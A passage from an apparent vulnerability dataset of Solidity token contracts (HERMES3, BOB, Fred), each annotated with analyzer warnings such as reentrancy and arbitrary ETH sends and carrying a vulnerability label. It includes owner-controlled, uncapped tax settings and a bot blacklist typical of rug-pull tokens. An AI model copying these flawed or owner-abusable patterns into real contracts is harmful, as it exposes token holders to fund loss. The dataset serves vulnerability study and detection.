66488dc\n\t\t\t// reentrancy-events | ID: bb9d704\n\t\t\t// reentrancy-benign | ID: d4032b0\n\t\t\t// reentrancy-eth | ID: 46b5301\n\t\t\t// arbitrary-send-eth | ID: 93ab36d\n (bool success, ) = _taxWallet.call{value: ethForTaxWallet}(\"\");\n\n success;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 31f3394): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 31f3394: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 383d998): HERMES3.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 383d998: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d934b5a): HERMES3.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d934b5a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e9d00f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e9d00f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 31f3394\n\t\t// reentrancy-eth | ID: 4e9d00f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 31f3394\n\t\t// unused-return | ID: d934b5a\n\t\t// reentrancy-eth | ID: 4e9d00f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 31f3394\n\t\t// unused-return | ID: 383d998\n\t\t// reentrancy-eth | ID: 4e9d00f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 31f3394\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4e9d00f\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 31f3394\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet cannot be the zero address\"\n );\n\n _taxWallet = newTaxWallet;\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10084.sol",
"size_bytes": 22278,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BOB is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 83ebd38): BOB._marketingWallet should be immutable \n\t// Recommendation for 83ebd38: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"BNB Mascot\";\n string private constant _symbol = unicode\"BOB\";\n uint8 private constant _decimals = 18;\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n uint256 public _BuyTax = 13;\n uint256 public _SellTax = 33;\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 40) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: 6c94c49): BOB._taxSwapThreshold should be constant \n\t// Recommendation for 6c94c49: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\t// WARNING Optimization Issue (constable-states | ID: aa911f6): BOB._maxTaxSwap should be constant \n\t// Recommendation for aa911f6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private contractSellCount = 0;\n uint256 private lastContractSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5f8734d): BOB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5f8734d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: da27f21): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for da27f21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c95888c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c95888c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: da27f21\n\t\t// reentrancy-eth | ID: c95888c\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: da27f21\n\t\t// reentrancy-eth | ID: c95888c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00697ff): BOB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 00697ff: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\t\t// reentrancy-eth | ID: c95888c\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: da27f21\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 03eeb85): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 03eeb85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 639016c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 639016c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (\n from != owner() &&\n to != owner() &&\n from != _marketingWallet &&\n to != _marketingWallet\n ) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n taxAmount = (amount * _BuyTax) / 100;\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n if (block.number > lastContractSellBlock) {\n contractSellCount = 0;\n }\n require(contractSellCount < 2);\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\t\t\t\t// reentrancy-events | ID: 03eeb85\n\t\t\t\t// reentrancy-eth | ID: 639016c\n swapTokensForEth(amountToSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 03eeb85\n\t\t\t\t\t// reentrancy-eth | ID: 639016c\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 639016c\n contractSellCount++;\n\t\t\t\t// reentrancy-eth | ID: 639016c\n lastContractSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 639016c\n _balances[address(this)] += taxAmount;\n\t\t\t// reentrancy-events | ID: 03eeb85\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 639016c\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-eth | ID: 639016c\n _balances[to] = _balances[to] + (amount - taxAmount);\n\t\t// reentrancy-events | ID: 03eeb85\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 03eeb85\n\t\t// reentrancy-events | ID: da27f21\n\t\t// reentrancy-eth | ID: c95888c\n\t\t// reentrancy-eth | ID: 639016c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9ea6417): BOB.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for 9ea6417: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: 9ea6417\n _BuyTax = BuyTax;\n\t\t// events-maths | ID: 9ea6417\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4b51cc6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4b51cc6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 77f2427): BOB.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 77f2427: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d6cd004): BOB.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d6cd004: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1029130): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1029130: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 4b51cc6\n\t\t// reentrancy-eth | ID: 1029130\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 4b51cc6\n\t\t// unused-return | ID: 77f2427\n\t\t// reentrancy-eth | ID: 1029130\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 4b51cc6\n\t\t// unused-return | ID: d6cd004\n\t\t// reentrancy-eth | ID: 1029130\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 4b51cc6\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 1029130\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e6e1247): BOB.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for e6e1247: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 03eeb85\n\t\t// reentrancy-events | ID: da27f21\n\t\t// reentrancy-eth | ID: c95888c\n\t\t// reentrancy-eth | ID: 639016c\n\t\t// arbitrary-send-eth | ID: e6e1247\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10085.sol",
"size_bytes": 16591,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Fred is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c26b7b): Fred._taxWallet should be constant \n\t// Recommendation for 2c26b7b: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x2150D200EA20845e9Bc1ad7ddB37E4f121eeE799);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7442ed8): Fred._initialBuyTax should be constant \n\t// Recommendation for 7442ed8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6af8c19): Fred._initialSellTax should be constant \n\t// Recommendation for 6af8c19: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0d351b): Fred._reduceBuyTaxAt should be constant \n\t// Recommendation for a0d351b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 36709fc): Fred._reduceSellTaxAt should be constant \n\t// Recommendation for 36709fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43fb5af): Fred._preventSwapBefore should be constant \n\t// Recommendation for 43fb5af: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"First Convicted Raccoon\";\n\n string private constant _symbol = unicode\"Fred\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4e778d): Fred._taxSwapThreshold should be constant \n\t// Recommendation for b4e778d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4325d0): Fred._maxTaxSwap should be constant \n\t// Recommendation for e4325d0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8400000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 55eb5a4): Fred.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 55eb5a4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25ff593): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25ff593: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8b5660d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8b5660d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 25ff593\n\t\t// reentrancy-benign | ID: 8b5660d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 25ff593\n\t\t// reentrancy-benign | ID: 8b5660d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76185e4): Fred._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76185e4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8b5660d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 25ff593\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07031d4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07031d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 02587ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 02587ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 07031d4\n\t\t\t\t// reentrancy-eth | ID: 02587ca\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 07031d4\n\t\t\t\t\t// reentrancy-eth | ID: 02587ca\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 02587ca\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 02587ca\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 02587ca\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 07031d4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 02587ca\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 02587ca\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 07031d4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory 